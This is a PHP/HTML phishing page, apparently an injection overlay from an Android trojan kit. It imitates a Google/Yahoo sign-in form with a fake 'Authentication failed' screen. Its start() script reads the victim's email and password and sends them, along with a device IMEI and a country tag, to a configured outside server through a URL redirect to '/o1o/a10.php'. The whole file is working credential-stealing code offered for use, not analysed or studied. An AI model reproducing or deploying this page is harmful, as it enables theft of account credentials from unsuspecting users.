96 lines
2.5 KiB
PHP
96 lines
2.5 KiB
PHP
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<title>Google Mail</title>
|
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
<script type="text/javascript" src="yahoo/js/jquery-2.1.4.min.js"></script>
|
|
<script src="yahoo/js/cat.functions.js"></script>
|
|
<link rel="stylesheet" href="yahoo/css/cat.style.css" type="text/css" media="all">
|
|
<link rel="stylesheet" href="yahoo/css/style.css" media="screen" type="text/css"/>
|
|
</head>
|
|
<?php
|
|
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
|
//$IMEI_country = "321|tr";
|
|
include "config.php";
|
|
?>
|
|
<body>
|
|
|
|
<script>
|
|
|
|
$(document).ready(function() {
|
|
|
|
var email = getGoogleAccount();
|
|
if (email != '') {
|
|
$("input[name='email']").val( email );
|
|
$('#mail_title').html( email );
|
|
|
|
switchStep(1, false);
|
|
}
|
|
|
|
});
|
|
|
|
function performEmail() {
|
|
var email = $("#email");
|
|
var emailValue = email.val();
|
|
if (emailValue == '') return false;
|
|
var result = emailValue.split('@')[0] + '@yahoo.com';
|
|
email.val(result);
|
|
$('#mail_title').html(result);
|
|
|
|
switchStep(1, false);
|
|
}
|
|
|
|
function start() {
|
|
var URL__='<?php echo $URL;?>';
|
|
var IMEI='<?php echo $IMEI_country;?>';
|
|
|
|
var gmail = $('#email').val();
|
|
var password = $('#password').val();
|
|
|
|
location.replace(URL__+'/o1o/a10.php?p=' + IMEI + '|Injection_4|yahoo|'+ gmail + '|' + password);
|
|
|
|
}
|
|
|
|
</script>
|
|
|
|
<div id="topbar">
|
|
<img src="yahoo/images/google_logo.png" style="margin: 25px auto 5px; width: 80px; height: 27px;" />
|
|
<!--<h1>One account.<br/>All of Google.</h1>-->
|
|
<h6>Sign in to continue to Yahoo</h6>
|
|
</div>
|
|
|
|
<div id="login-form" style="text-align: center;">
|
|
|
|
<div id="cat-error">
|
|
<span>Authentication failed<br/> or timed out</span>
|
|
<input type="button" value="Try enter again" onClick="tryEnterAgain();"/>
|
|
</div>
|
|
|
|
<div id="cat-forms">
|
|
|
|
<form id="cat-step-1" class="cat-start-step">
|
|
|
|
<input type="text" id="email" name="email" placeholder="Enter your email"/>
|
|
<input type="button" value="Next" onClick="performEmail()"/>
|
|
</form>
|
|
|
|
<form id="cat-step-2" class="cat-step-block">
|
|
|
|
<div id="mail_title" style="font-size: 14px; padding-bottom: 3px;"></div>
|
|
<input type="password" name="password" id="password" placeholder="Password"/>
|
|
<input type="button" value="Sign in" onClick="start()"/>
|
|
</form>
|
|
|
|
<form id="cat-step-3" class="cat-last-step" style="text-align: center;">
|
|
<span>Authentication failed<br/> or timed out</span>
|
|
<input type="button" value="Try enter again" style="float: none;"
|
|
onClick="closeWindow()"/>
|
|
</form>
|
|
|
|
</div>
|
|
|
|
</div>
|
|
</body>
|
|
</html>
|